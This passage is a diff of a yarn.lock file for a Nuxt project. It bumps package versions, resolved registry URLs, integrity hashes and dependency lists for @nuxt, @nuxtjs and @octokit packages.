-  integrity sha512-BBWMMxeQzalmKadyimwb2/VVQyJB01PH0HhVSNLHNBDZN/M/h/02P6f8fxedIiFhpMj11SO9Ep5tKTBE7zL2nw==
+  version "6.0.3"
+  resolved "https://registry.yarnpkg.com/@npmcli/git/-/git-6.0.3.tgz#966cbb228514372877de5244db285b199836f3aa"
+  integrity sha512-GUYESQlxZRAdhs3UhbB6pVRNUELQOHXwK9ruDkwmCv2aZ5y0SApQzUJCg02p3A7Ue2J5hxvlk1YI53c00NmRyQ==
   dependencies:
     "@npmcli/promise-spawn" "^8.0.0"
     ini "^5.0.0"
     lru-cache "^10.0.1"
     npm-pick-manifest "^10.0.0"
     proc-log "^5.0.0"
-    promise-inflight "^1.0.1"
     promise-retry "^2.0.1"
     semver "^7.3.5"
     which "^5.0.0"
@@ -1340,74 +1259,92 @@
     proc-log "^5.0.0"
     which "^5.0.0"
 
-"@nuxt/cli@^3.20.0":
-  version "3.21.1"
-  resolved "https://registry.yarnpkg.com/@nuxt/cli/-/cli-3.21.1.tgz#67e38d6ce0cbecac6b1d1c1406ce6090805d66f4"
-  integrity sha512-GFFHSEtNtf1s4anMKWFfKSbKiNvEwOKxfP3uls7anZ8GCVYrKthMMxeou4fZBcRhTAFbiLC7DytsKnjfmY2t9w==
+"@nuxt/cli@^3.21.1":
+  version "3.22.2"
+  resolved "https://registry.yarnpkg.com/@nuxt/cli/-/cli-3.22.2.tgz#4f1c702800da8103b1fcb34747d66dcfb2ddc0a4"
+  integrity sha512-Xtu3Loe3fVLvOE1/NC/SrE6Buu7Aj6qrnu3hewAfamUyZ7mVUBOsJ5ScUhofSK2L6muGPvS3R1PisuJMFbdexg==
   dependencies:
-    c12 "^2.0.1"
+    c12 "^2.0.2"
     chokidar "^4.0.3"
     citty "^0.1.6"
     clipboardy "^4.0.0"
     consola "^3.4.0"
     defu "^6.1.4"
-    fuse.js "^7.0.0"
+    fuse.js "^7.1.0"
     giget "^1.2.4"
-    h3 "^1.14.0"
+    h3 "^1.15.0"
     httpxy "^0.1.7"
     jiti "^2.4.2"
     listhen "^1.9.0"
     nypm "^0.5.2"
     ofetch "^1.4.1"
-    ohash "^1.1.4"
-    pathe "^2.0.2"
+    ohash "^2.0.2"
+    pathe "^2.0.3"
     perfect-debounce "^1.0.0"
     pkg-types "^1.3.1"
     scule "^1.3.0"
-    semver "^7.6.3"
+    semver "^7.7.1"
     std-env "^3.8.0"
     tinyexec "^0.3.2"
     ufo "^1.5.4"
 
-"@nuxt/content@^2.13.2":
-  version "2.13.4"
-  resolved "https://registry.yarnpkg.com/@nuxt/content/-/content-2.13.4.tgz#5a827ef80792ef60ad96fc208017ea7f8e841bf6"
-  integrity sha512-NBaHL/SNYUK7+RLgOngSFmKqEPYc0dYdnwVFsxIdrOZUoUbD8ERJJDaoRwwtyYCMOgUeFA/zxAkuADytp+DKiQ==
+"@nuxt/content@^3.2.0":
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/@nuxt/content/-/content-3.2.0.tgz#b9d7fc1e817faf36de31dfa6538057b7d7828457"
+  integrity sha512-4RQTm2O4faT5lNssrUmKXhGbfFVX4kRPXGtDeTaHAZNAkXKeVGru4ioS6Qmy3REqtMC7DQs67S0591+xXzzM1Q==
   dependencies:
-    "@nuxt/kit" "^3.13.2"
-    "@nuxtjs/mdc" "^0.9.2"
-    "@vueuse/core" "^11.1.0"
-    "@vueuse/head" "^2.0.0"
-    "@vueuse/nuxt" "^11.1.0"
-    consola "^3.2.3"
+    "@nuxt/kit" "^3.15.4"
+    "@nuxtjs/mdc" "^0.13.5"
+    "@shikijs/langs" "^2.5.0"
+    "@sqlite.org/sqlite-wasm" "3.49.0-build3"
+    "@webcontainer/env" "^1.1.1"
+    better-sqlite3 "^11.8.1"
+    c12 "^2.0.2"
+    chokidar "^4.0.3"
+    consola "^3.4.0"
+    db0 "^0.2.4"
     defu "^6.1.4"
     destr "^2.0.3"
-    json5 "^2.2.3"
-    knitwork "^1.1.0"
+    fast-glob "^3.3.3"
+    git-url-parse "^16.0.1"
+    jiti "^2.4.2"
+    knitwork "^1.2.0"
     listhen "^1.9.0"
+    mdast-util-to-hast "^13.2.0"
     mdast-util-to-string "^4.0.0"
-    mdurl "^2.0.0"
-    micromark "^4.0.0"
-    micromark-util-sanitize-uri "^2.0.0"
-    micromark-util-types "^2.0.0"
-    minisearch "^7.1.0"
+    micromark "^4.0.1"
+    micromark-util-character "^2.1.1"
+    micromark-util-chunked "^2.0.1"
+    micromark-util-resolve-all "^2.0.1"
+    micromark-util-sanitize-uri "^2.0.1"
+    micromatch "^4.0.8"
+    minimatch "^10.0.1"
+    nuxt-component-meta "^0.10.0"
     ohash "^1.1.4"
-    pathe "^1.1.2"
+    parse-git-config "^3.0.0"
+    pathe "^2.0.3"
+    pkg-types "^1.3.1"
+    remark-mdc latest
     scule "^1.3.0"
-    shiki "^1.22.0"
+    shiki "^2.5.0"
     slugify "^1.6.6"
-    socket.io-client "^4.8.0"
+    socket.io-client "^4.8.1"
+    tar "^7.4.3"
     ufo "^1.5.4"
+    unified "^11.0.5"
     unist-util-stringify-position "^4.0.0"
-    unstorage "^1.12.0"
+    unist-util-visit "^5.0.0"
     ws "^8.18.0"
+    zod "^3.24.2"
+    zod-to-json-schema "^3.24.2"
+    zod-to-ts "^1.2.0"
 
 "@nuxt/devalue@^2.0.2":
   version "2.0.2"
   resolved "https://registry.yarnpkg.com/@nuxt/devalue/-/devalue-2.0.2.tgz#5749f04df13bda4c863338d8dabaf370f45ef7c7"
   integrity sha512-GBzP8zOc7CGWyFQS6dv1lQz8VVpz5C2yRszbXufwG/9zhStTIH50EtD87NmWbTMwXDvZLNg8GIpb1UFdH93JCA==
 
-"@nuxt/devtools-kit@1.7.0", "@nuxt/devtools-kit@^1.4.2", "@nuxt/devtools-kit@^1.5.1", "@nuxt/devtools-kit@^1.6.0", "@nuxt/devtools-kit@^1.6.3":
+"@nuxt/devtools-kit@1.7.0", "@nuxt/devtools-kit@^1.4.2", "@nuxt/devtools-kit@^1.5.1", "@nuxt/devtools-kit@^1.6.3":
   version "1.7.0"
   resolved "https://registry.yarnpkg.com/@nuxt/devtools-kit/-/devtools-kit-1.7.0.tgz#a9820f9431016386643f92b26bedb53f858c4c94"
   integrity sha512-+NgZ2uP5BuneqvQbe7EdOEaFEDy8762c99pLABtn7/Ur0ExEsQJMP7pYjjoTfKubhBqecr5Vo9yHkPBj1eHulQ==
@@ -1416,19 +1353,10 @@
     "@nuxt/schema" "^3.15.0"
     execa "^7.2.0"
 
-"@nuxt/devtools-kit@2.0.0-beta.3":
-  version "2.0.0-beta.3"
-  resolved "https://registry.yarnpkg.com/@nuxt/devtools-kit/-/devtools-kit-2.0.0-beta.3.tgz#9850dd426286e9b32bfd7d1b39d302b1ec4eebd3"
-  integrity sha512-VeMfxhwUk1InAca9C8HouIn0+4ON11B0MxL/Mv7m/FcgdyADH5nTp6P3+GoCe8TsHgyKSJ688ZVFFxXKDDDGcg==
-  dependencies:
-    "@nuxt/kit" "^3.15.1"
-    "@nuxt/schema" "^3.15.1"
-    execa "^7.2.0"
-
-"@nuxt/devtools-kit@^2.0.0-beta.3":
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/@nuxt/devtools-kit/-/devtools-kit-2.0.0.tgz#763876c7400867868c55558e648bf8caf8f0d0f8"
-  integrity sha512-wWZGob6xsrDa9NcFCJb4I26rv8XPWRXP4QSVgBT7hkgiAstRISduUU1solxVJTrPHjx98L4Lumb2jjy+1MjMSA==
+"@nuxt/devtools-kit@2.1.0", "@nuxt/devtools-kit@^2.1.0":
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/@nuxt/devtools-kit/-/devtools-kit-2.1.0.tgz#34826af8c88de9ff918473b5f22262855c2a0e21"
+  integrity sha512-1fhwU7dDq/vIpjpNRwjEmTllRT1O0nzyBEhY187bQ8xBpoCC93t3zG3iTKcl8XkpT1aK9SqcgmXOnj5fNIAaYA==
   dependencies:
     "@nuxt/kit" "^3.15.4"
     "@nuxt/schema" "^3.15.4"
@@ -1611,34 +1539,7 @@
   optionalDependencies:
     ipx "^2.1.0"
 
-"@nuxt/kit@3.15.2":
-  version "3.15.2"
-  resolved "https://registry.yarnpkg.com/@nuxt/kit/-/kit-3.15.2.tgz#edb0b66f08989458329cafac4cbe2960c2d92ebf"
-  integrity sha512-nxiPJVz2fICcyBKlN5pL1IgZVejyArulREsS5HvAk07hijlYuZ5toRM8soLt51VQNpFd/PedL+Z1AlYu/bQCYQ==
-  dependencies:
-    "@nuxt/schema" "3.15.2"
-    c12 "^2.0.1"
-    consola "^3.4.0"
-    defu "^6.1.4"
-    destr "^2.0.3"
-    globby "^14.0.2"
-    ignore "^7.0.3"
-    jiti "^2.4.2"
-    klona "^2.0.6"
-    knitwork "^1.2.0"
-    mlly "^1.7.4"
-    ohash "^1.1.4"
-    pathe "^2.0.1"
-    pkg-types "^1.3.1"
-    scule "^1.3.0"
-    semver "^7.6.3"
-    std-env "^3.8.0"
-    ufo "^1.5.4"
-    unctx "^2.4.1"
-    unimport "^3.14.6"
-    untyped "^1.5.2"
-
-"@nuxt/kit@^3.13.1", "@nuxt/kit@^3.13.2", "@nuxt/kit@^3.14.1592", "@nuxt/kit@^3.15.0", "@nuxt/kit@^3.15.1", "@nuxt/kit@^3.15.2", "@nuxt/kit@^3.15.3", "@nuxt/kit@^3.15.4":
+"@nuxt/kit@3.15.4", "@nuxt/kit@^3.13.1", "@nuxt/kit@^3.13.2", "@nuxt/kit@^3.14.1592", "@nuxt/kit@^3.15.0", "@nuxt/kit@^3.15.1", "@nuxt/kit@^3.15.2", "@nuxt/kit@^3.15.4":
   version "3.15.4"
   resolved "https://registry.yarnpkg.com/@nuxt/kit/-/kit-3.15.4.tgz#122f511e518573320a035b5e24adf0118d51485d"
   integrity sha512-dr7I7eZOoRLl4uxdxeL2dQsH0OrbEiVPIyBHnBpA4co24CBnoJoF+JINuP9l3PAM3IhUzc5JIVq3/YY3lEc3Hw==
@@ -1678,17 +1579,7 @@
     postcss-url "^10.1.1"
     semver "^7.3.4"
 
-"@nuxt/schema@3.15.2":
-  version "3.15.2"
-  resolved "https://registry.yarnpkg.com/@nuxt/schema/-/schema-3.15.2.tgz#175df2b6893d93b4998f0bccfb0b0b6f151f620b"
-  integrity sha512-cTHGbLTbrQ83B+7Mh0ggc5MzIp74o8KciA0boCiBJyK5uImH9QQNK6VgfwRWcTD5sj3WNKiIB1luOMom3LHgVw==
-  dependencies:
-    consola "^3.4.0"
-    defu "^6.1.4"
-    pathe "^2.0.1"
-    std-env "^3.8.0"
-
-"@nuxt/schema@^3.13.2", "@nuxt/schema@^3.15.0", "@nuxt/schema@^3.15.1", "@nuxt/schema@^3.15.4":
+"@nuxt/schema@3.15.4", "@nuxt/schema@^3.15.0", "@nuxt/schema@^3.15.4":
   version "3.15.4"
   resolved "https://registry.yarnpkg.com/@nuxt/schema/-/schema-3.15.4.tgz#3656185c3fe291431174069c4635fbb12c81270f"
   integrity sha512-pAYZb/3ocSC/db1EFd5y+otmgHqUkvfxfhd9EknDB5DygnJuOIQNuGJ7LMJM6S2c0DYgBIHOdEelLxKHOjwbgQ==
@@ -1733,30 +1624,30 @@
     valibot "^0.42.1"
 
 "@nuxt/telemetry@^2.6.4":
-  version "2.6.4"
-  resolved "https://registry.yarnpkg.com/@nuxt/telemetry/-/telemetry-2.6.4.tgz#d35997b02b936fde220f85f0ffc5958f0227a2f7"
-  integrity sha512-2Lgdn07Suraly5dSfVQ4ttBQBMtmjvCTGKGUHpc1UyH87HT9xCm3KLFO0UcVQ8+LNYCgoOaK7lq9qDJOfBfZ5A==
+  version "2.6.5"
+  resolved "https://registry.yarnpkg.com/@nuxt/telemetry/-/telemetry-2.6.5.tgz#421d3ea689a4560aa637719c693d7b851bb1c9dc"
+  integrity sha512-lwMp9OHML/m0mjh7P5iz9PxINnk5smGkGebh88Wh8PjvnRooY1TBsbyq7mlSrNibpwD1BkwqhV5IAZOXWHLxMQ==
   dependencies:
-    "@nuxt/kit" "^3.15.1"
+    "@nuxt/kit" "^3.15.4"
     citty "^0.1.6"
-    consola "^3.3.1"
+    consola "^3.4.0"
     destr "^2.0.3"
     dotenv "^16.4.7"
     git-url-parse "^16.0.0"
     is-docker "^3.0.0"
     ofetch "^1.4.1"
-    package-manager-detector "^0.2.8"
+    package-manager-detector "^0.2.9"
     parse-git-config "^3.0.0"
-    pathe "^2.0.0"
+    pathe "^2.0.2"
     rc9 "^2.1.2"
     std-env "^3.8.0"
 
-"@nuxt/vite-builder@3.15.2":
-  version "3.15.2"
-  resolved "https://registry.yarnpkg.com/@nuxt/vite-builder/-/vite-builder-3.15.2.tgz#09837bd33a4c6174bfc50aa101928d99548dda9c"
-  integrity sha512-YtP6hIOKhqa1JhX0QzuULpA84lseO76bv5OqJzUl7yoaykhOkZjkEk9c20hamtMdoxhVeUAXGZJCsp9Ivjfb3g==
+"@nuxt/vite-builder@3.15.4":
+  version "3.15.4"
+  resolved "https://registry.yarnpkg.com/@nuxt/vite-builder/-/vite-builder-3.15.4.tgz#70686ab8745089fecc28a0d83f6fd1430ab5f014"
+  integrity sha512-yBK6tWT973+ExKC3ciTWymZpjJ+enToOtYz574kXCyGO0PbSnuXdoJKTvrwXw1lK97PajCKxExlmwI/3oLOmMQ==
   dependencies:
-    "@nuxt/kit" "3.15.2"
+    "@nuxt/kit" "3.15.4"
     "@rollup/plugin-replace" "^6.0.2"
     "@vitejs/plugin-vue" "^5.2.1"
     "@vitejs/plugin-vue-jsx" "^4.1.1"
@@ -1768,13 +1659,13 @@
     escape-string-regexp "^5.0.0"
     externality "^1.0.2"
     get-port-please "^3.1.2"
-    h3 "^1.13.1"
+    h3 "^1.14.0"
     jiti "^2.4.2"
     knitwork "^1.2.0"
     magic-string "^0.30.17"
     mlly "^1.7.4"
     ohash "^1.1.4"
-    pathe "^2.0.1"
+    pathe "^2.0.2"
     perfect-debounce "^1.0.0"
     pkg-types "^1.3.1"
     postcss "^8.5.1"
@@ -1783,24 +1674,24 @@
     ufo "^1.5.4"
     unenv "^1.10.0"
     unplugin "^2.1.2"
-    vite "^6.0.7"
-    vite-node "^2.1.8"
+    vite "^6.0.11"
+    vite-node "^3.0.4"
     vite-plugin-checker "^0.8.0"
     vue-bundle-renderer "^2.1.1"
 
-"@nuxtjs/i18n@^8.5.5":
-  version "8.5.6"
-  resolved "https://registry.yarnpkg.com/@nuxtjs/i18n/-/i18n-8.5.6.tgz#d65b375fba5244d83fc6833a604e2b532a64bef2"
-  integrity sha512-L+g+LygKNoaS/AXExk7tzS9wSNn9QdP1T9VdTjjEGYftpeFgv2U8AQsY0dQAhgPIbXXhIAkNYxTk4YcINj9CfA==
+"@nuxtjs/i18n@^9.2.1":
+  version "9.2.1"
+  resolved "https://registry.yarnpkg.com/@nuxtjs/i18n/-/i18n-9.2.1.tgz#298511bb983ee4fcc0bdc1767cdec3b8af0735a5"
+  integrity sha512-rSIZ0p97A/II5P1Rf5f7oboWvViQKU23rP4iOD0KrNpIDnmO796C1g+4ifTpMo38SskwVxdGVWqvcuxOJ/XmyA==
   dependencies:
-    "@intlify/h3" "^0.5.0"
-    "@intlify/shared" "^9.14.1"
-    "@intlify/unplugin-vue-i18n" "^3.0.1"
-    "@intlify/utils" "^0.12.0"
+    "@intlify/h3" "^0.6.1"
+    "@intlify/shared" "^10.0.5"
+    "@intlify/unplugin-vue-i18n" "^6.0.3"
+    "@intlify/utils" "^0.13.0"
     "@miyaneee/rollup-plugin-json5" "^1.2.0"
-    "@nuxt/kit" "^3.13.1"
+    "@nuxt/kit" "^3.15.4"
     "@rollup/plugin-yaml" "^4.1.2"
-    "@vue/compiler-sfc" "^3.5.4"
+    "@vue/compiler-sfc" "^3.5.13"
     debug "^4.3.5"
     defu "^6.1.2"
     estree-walker "^3.0.3"
@@ -1813,44 +1704,50 @@
     sucrase "^3.35.0"
     ufo "^1.3.1"
     unplugin "^1.10.1"
-    vue-i18n "^9.14.1"
-    vue-router "^4.4.4"
+    unplugin-vue-router "^0.10.8"
+    vue-i18n "^10.0.5"
+    vue-router "^4.5.0"
 
-"@nuxtjs/mdc@^0.9.2":
-  version "0.9.5"
-  resolved "https://registry.yarnpkg.com/@nuxtjs/mdc/-/mdc-0.9.5.tgz#6622f8ad14b6a8275975ff11332cd1c5ee66eb31"
-  integrity sha512-bTnlY+oiW8QsmrLoiYN+rkSYxl7asELlwYeU9QPSkun5BVx7Yd8RajH8I+0QJZiMZzIHaO3LEgf3lzp5Lg6E0A==
+"@nuxtjs/mdc@^0.13.5":
+  version "0.13.5"
+  resolved "https://registry.yarnpkg.com/@nuxtjs/mdc/-/mdc-0.13.5.tgz#9ed9d185f7c0551717c346c43425fcc243dd7d74"
+  integrity sha512-bbToK+RByIKdg0bO1k5ApMn3zuBzXqRNOKGGIA4HiHTZAPpHnSHjmKRP+2qKbdth+QJ/vyBj3cHQTlMT5onxsg==
   dependencies:
-    "@nuxt/kit" "^3.14.1592"
-    "@shikijs/transformers" "^1.23.1"
+    "@nuxt/kit" "^3.15.2"
+    "@shikijs/transformers" "^1.27.2"
     "@types/hast" "^3.0.4"
     "@types/mdast" "^4.0.4"
     "@vue/compiler-core" "^3.5.13"
-    consola "^3.2.3"
-    debug "^4.3.7"
+    consola "^3.4.0"
+    debug "4.4.0"
     defu "^6.1.4"
     destr "^2.0.3"
     detab "^3.0.2"
     github-slugger "^2.0.0"
+    hast-util-format "^1.1.0"
+    hast-util-to-mdast "^10.1.1"
     hast-util-to-string "^3.0.1"
     mdast-util-to-hast "^13.2.0"
     micromark-util-sanitize-uri "^2.0.1"
     ohash "^1.1.4"
     parse5 "^7.2.1"
-    pathe "^1.1.2"
+    pathe "^2.0.2"
     property-information "^6.5.0"
     rehype-external-links "^3.0.0"
+    rehype-minify-whitespace "^6.0.2"
     rehype-raw "^7.0.0"
+    rehype-remark "^10.0.0"
     rehype-slug "^6.0.0"
     rehype-sort-attribute-values "^5.0.1"
     rehype-sort-attributes "^5.0.1"
     remark-emoji "^5.0.1"
     remark-gfm "^4.0.0"
-    remark-mdc "^3.4.0"
+    remark-mdc "^3.5.2"
     remark-parse "^11.0.0"
     remark-rehype "^11.1.1"
+    remark-stringify "^11.0.0"
     scule "^1.3.0"
-    shiki "^1.23.1"
+    shiki "^1.27.2"
     ufo "^1.5.4"
     unified "^11.0.5"
     unist-builder "^4.0.0"
@@ -1858,53 +1755,52 @@
     unwasm "^0.3.9"
     vfile "^6.0.3"
 
-"@nuxtjs/robots@5.2.2", "@nuxtjs/robots@^5.2.2":
-  version "5.2.2"
-  resolved "https://registry.yarnpkg.com/@nuxtjs/robots/-/robots-5.2.2.tgz#b80eed4e464fd4a61ab1a641c6caf268b5b06efc"
-  integrity sha512-8krXcdG/iysVhY1VNJFeLyCV20/Qvlq37TjRjgV91EKJnjcsjUWBlvyVYANOJsbKuoZK4WFoFUGt8Ehrbg91gg==
+"@nuxtjs/robots@^5.2.4":
+  version "5.2.4"
+  resolved "https://registry.yarnpkg.com/@nuxtjs/robots/-/robots-5.2.4.tgz#915ec1471c5946a4aaa3a8446c7391ef1c7010ca"
+  integrity sha512-B/JPb1TKcL4WutyMyavTCU5bQ5mOC8VmJh47680kGZ/w11M7hk8FGfUmOkl4YeOkQvFw+tVrggWdvwiIA+F3gg==
   dependencies:
-    "@nuxt/devtools-kit" "^2.0.0-beta.3"
-    "@nuxt/kit" "^3.15.2"
+    "@nuxt/kit" "^3.15.4"
     consola "^3.4.0"
     defu "^6.1.4"
-    nuxt-site-config "^3.0.6"
-    pathe "^2.0.2"
+    nuxt-site-config "^3.1.0"
+    pathe "^2.0.3"
     pkg-types "^1.3.1"
-    sirv "^3.0.0"
+    sirv "^3.0.1"
     std-env "^3.8.0"
     ufo "^1.5.4"
 
 "@nuxtjs/seo@^2.1.1":
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/@nuxtjs/seo/-/seo-2.1.1.tgz#551d7a572d25f362497614198a36a2507735358d"
-  integrity sha512-QpRbfdxkzBrowA70yQORPpXrZgbX+m7muKmvrb8iWpnrwB/u4MtuU5QdKNdpoIbXFdIi2x5Tol+K02rr/BwClg==
-  dependencies:
-    "@nuxt/kit" "^3.15.3"
-    "@nuxtjs/robots" "^5.2.2"
-    "@nuxtjs/sitemap" "^7.2.4"
-    nuxt-link-checker "^4.1.0"
-    nuxt-og-image "^4.1.2"
-    nuxt-schema-org "^4.1.1"
-    nuxt-seo-utils "^6.0.8"
-    nuxt-site-config "^3.0.6"
-
-"@nuxtjs/sitemap@^7.2.3", "@nuxtjs/sitemap@^7.2.4":
-  version "7.2.4"
-  resolved "https://registry.yarnpkg.com/@nuxtjs/sitemap/-/sitemap-7.2.4.tgz#b9ad6722b66ac64f6047e89f24bd0e43456de279"
-  integrity sha512-u4BLPuKHsy6jSj2D27W3QHih4PwaWY2LrGi+6PTUu/b0/itS+U2aovxHfWLUWHKNZG3LazJNziLG/RBBwdqLxg==
-  dependencies:
-    "@nuxt/devtools-kit" "^2.0.0-beta.3"
-    "@nuxt/kit" "^3.15.3"
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/@nuxtjs/seo/-/seo-2.2.0.tgz#6e465d676fb53cb667b07db7c44c7232b96bc8e3"
+  integrity sha512-3BdQY3hnZYUrmee68oqEw4HeABYA310vk/3ckiR/zAiDqlHSd7PiMQYMl94wllivjFxWDPMH22+pEIhlXSSO7w==
+  dependencies:
+    "@nuxt/kit" "^3.15.4"
+    "@nuxtjs/robots" "^5.2.4"
+    "@nuxtjs/sitemap" "^7.2.6"
+    nuxt-link-checker "^4.1.1"
+    nuxt-og-image "^4.1.4"
+    nuxt-schema-org "^4.1.2"
+    nuxt-seo-utils "^6.0.11"
+    nuxt-site-config "^3.1.0"
+
+"@nuxtjs/sitemap@^7.2.6":
+  version "7.2.6"
+  resolved "https://registry.yarnpkg.com/@nuxtjs/sitemap/-/sitemap-7.2.6.tgz#91a4e6c908f00dd3f672dcf2a7dacbd15d4da048"
+  integrity sha512-8pDtCnyJOWIhGGlTMYM1kbzUGGUpB+8Wi835pgOoa1jBP78K3rvHKAeYS0Lr/+Ara4T7ouV0n5H2D+pmztq4uw==
+  dependencies:
+    "@nuxt/devtools-kit" "^2.1.0"
+    "@nuxt/kit" "^3.15.4"
     chalk "^5.4.1"
     defu "^6.1.4"
     h3-compression "^0.3.2"
-    nuxt-site-config "^3.0.6"
+    nuxt-site-config "^3.0.7"
     ofetch "^1.4.1"
-    pathe "^2.0.2"
+    pathe "^2.0.3"
     pkg-types "^1.3.1"
     radix3 "^1.1.2"
-    semver "^7.6.3"
-    sirv "^3.0.0"
+    semver "^7.7.1"
+    sirv "^3.0.1"
     ufo "^1.5.4"
 
 "@octokit/auth-token@^5.0.0":
@@ -1913,32 +1809,32 @@
   integrity sha512-JcQDsBdg49Yky2w2ld20IHAlwr8d/d8N6NiOXbtuoPCqzbsiJgF633mVUw3x4mo0H5ypataQIX7SFu3yy44Mpw==
 
 "@octokit/core@^6.0.0":
-  version "6.1.3"
-  resolved "https://registry.yarnpkg.com/@octokit/core/-/core-6.1.3.tgz#280d3bb66c702297baac0a202219dd66611286e4"
-  integrity sha512-z+j7DixNnfpdToYsOutStDgeRzJSMnbj8T1C/oQjB6Aa+kRfNjs/Fn7W6c8bmlt6mfy3FkgeKBRnDjxQow5dow==
+  version "6.1.4"
+  resolved "https://registry.yarnpkg.com/@octokit/core/-/core-6.1.4.tgz#f5ccf911cc95b1ce9daf6de425d1664392f867db"
+  integrity sha512-lAS9k7d6I0MPN+gb9bKDt7X8SdxknYqAMh44S5L+lNqIN2NuV8nvv3g8rPp7MuRxcOpxpUIATWprO0C34a8Qmg==
   dependencies:
     "@octokit/auth-token" "^5.0.0"
     "@octokit/graphql" "^8.1.2"
-    "@octokit/request" "^9.1.4"
-    "@octokit/request-error" "^6.1.6"
+    "@octokit/request" "^9.2.1"
+    "@octokit/request-error" "^6.1.7"
     "@octokit/types" "^13.6.2"
     before-after-hook "^3.0.2"
     universal-user-agent "^7.0.0"
 
-"@octokit/endpoint@^10.0.0":
-  version "10.1.2"
-  resolved "https://registry.yarnpkg.com/@octokit/endpoint/-/endpoint-10.1.2.tgz#d38e727e2a64287114fdaa1eb9cd7c81c09460df"
-  integrity sha512-XybpFv9Ms4hX5OCHMZqyODYqGTZ3H6K6Vva+M9LR7ib/xr1y1ZnlChYv9H680y77Vd/i/k+thXApeRASBQkzhA==
+"@octokit/endpoint@^10.1.3":
+  version "10.1.3"
+  resolved "https://registry.yarnpkg.com/@octokit/endpoint/-/endpoint-10.1.3.tgz#bfe8ff2ec213eb4216065e77654bfbba0fc6d4de"
+  integrity sha512-nBRBMpKPhQUxCsQQeW+rCJ/OPSMcj3g0nfHn01zGYZXuNDvvXudF/TYY6APj5THlurerpFN4a/dQAIAaM6BYhA==
   dependencies:
     "@octokit/types" "^13.6.2"
     universal-user-agent "^7.0.2"
 
 "@octokit/graphql@^8.1.2":
-  version "8.2.0"
-  resolved "https://registry.yarnpkg.com/@octokit/graphql/-/graphql-8.2.0.tgz#983a7ebc6479338d78921a1ca9b4095f85991e28"
-  integrity sha512-gejfDywEml/45SqbWTWrhfwvLBrcGYhOn50sPOjIeVvH6i7D16/9xcFA8dAJNp2HMcd+g4vru41g4E2RBiZvfQ==
+  version "8.2.1"
+  resolved "https://registry.yarnpkg.com/@octokit/graphql/-/graphql-8.2.1.tgz#0cb83600e6b4009805acc1c56ae8e07e6c991b78"
+  integrity sha512-n57hXtOoHrhwTWdvhVkdJHdhTv0JstjDbDRhJfwIRNfFqmSo1DaK/mD2syoNUoLCyqSjBpGAKOG0BuwF392slw==
   dependencies:
-    "@octokit/request" "^9.1.4"
+    "@octokit/request" "^9.2.2"
     "@octokit/types" "^13.8.0"
     universal-user-agent "^7.0.0"
 
@@ -1948,18 +1844,18 @@
   integrity sha512-izFjMJ1sir0jn0ldEKhZ7xegCTj/ObmEDlEfpFrx4k/JyZSMRHbO3/rBwgE7f3m2DHt+RrNGIVw4wSmwnm3t/g==
 
 "@octokit/plugin-paginate-rest@^11.0.0":
-  version "11.4.0"
-  resolved "https://registry.yarnpkg.com/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-11.4.0.tgz#a9c3347113d793e48a014f0aa549eada00de7c9a"
-  integrity sha512-ttpGck5AYWkwMkMazNCZMqxKqIq1fJBNxBfsFwwfyYKTf914jKkLF0POMS3YkPBwp5g1c2Y4L79gDz01GhSr1g==
+  version "11.4.2"
+  resolved "https://registry.yarnpkg.com/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-11.4.2.tgz#8f46a1de74c35e016c86701ef4ea0e8ef25a06e0"
+  integrity sha512-BXJ7XPCTDXFF+wxcg/zscfgw2O/iDPtNSkwwR1W1W5c4Mb3zav/M2XvxQ23nVmKj7jpweB4g8viMeCQdm7LMVA==
   dependencies:
     "@octokit/types" "^13.7.0"
 
 "@octokit/plugin-retry@^7.0.0":
-  version "7.1.3"
-  resolved "https://registry.yarnpkg.com/@octokit/plugin-retry/-/plugin-retry-7.1.3.tgz#51440714165a36e6aa5efee2f3bf24e8af094981"
-  integrity sha512-8nKOXvYWnzv89gSyIvgFHmCBAxfQAOPRlkacUHL9r5oWtp5Whxl8Skb2n3ACZd+X6cYijD6uvmrQuPH/UCL5zQ==
+  version "7.1.4"
+  resolved "https://registry.yarnpkg.com/@octokit/plugin-retry/-/plugin-retry-7.1.4.tgz#da57d1b8a2b83d77423cd6b4af76a0aee5c694ed"
+  integrity sha512-7AIP4p9TttKN7ctygG4BtR7rrB0anZqoU9ThXFk8nETqIfvgPUANTSYHqWYknK7W3isw59LpZeLI8pcEwiJdRg==
   dependencies:
-    "@octokit/request-error" "^6.1.6"
+    "@octokit/request-error" "^6.1.7"
     "@octokit/types" "^13.6.2"
     bottleneck "^2.15.3"
 
@@ -1971,20 +1867,20 @@
     "@octokit/types" "^13.7.0"
     bottleneck "^2.15.3"
 
-"@octokit/request-error@^6.0.1", "@octokit/request-error@^6.1.6":
-  version "6.1.6"
-  resolved "https://registry.yarnpkg.com/@octokit/request-error/-/request-error-6.1.6.tgz#5f42c7894e7c3ab47c63aa3241f78cee8a826644"
-  integrity sha512-pqnVKYo/at0NuOjinrgcQYpEbv4snvP3bKMRqHaD9kIsk9u1LCpb2smHZi8/qJfgeNqLo5hNW4Z7FezNdEo0xg==
+"@octokit/request-error@^6.1.7":
+  version "6.1.7"
+  resolved "https://registry.yarnpkg.com/@octokit/request-error/-/request-error-6.1.7.tgz#44fc598f5cdf4593e0e58b5155fe2e77230ff6da"
+  integrity sha512-69NIppAwaauwZv6aOzb+VVLwt+0havz9GT5YplkeJv7fG7a40qpLt/yZKyiDxAhgz0EtgNdNcb96Z0u+Zyuy2g==
   dependencies:
     "@octokit/types" "^13.6.2"
 
-"@octokit/request@^9.1.4":
-  version "9.2.0"
-  resolved "https://registry.yarnpkg.com/@octokit/request/-/request-9.2.0.tgz#21aa1e72ff645f5b99ccf4a590cc33c4578bb356"
-  integrity sha512-kXLfcxhC4ozCnAXy2ff+cSxpcF0A1UqxjvYMqNuPIeOAzJbVWQ+dy5G2fTylofB/gTbObT8O6JORab+5XtA1Kw==
+"@octokit/request@^9.2.1", "@octokit/request@^9.2.2":
+  version "9.2.2"
+  resolved "https://registry.yarnpkg.com/@octokit/request/-/request-9.2.2.tgz#754452ec4692d7fdc32438a14e028eba0e6b2c09"
+  integrity sha512-dZl0ZHx6gOQGcffgm1/Sf6JfEpmh34v3Af2Uci02vzUYz6qEN6zepoRtmybWXIGXFIK8K9ylE3b+duCWqhArtg==
   dependencies:
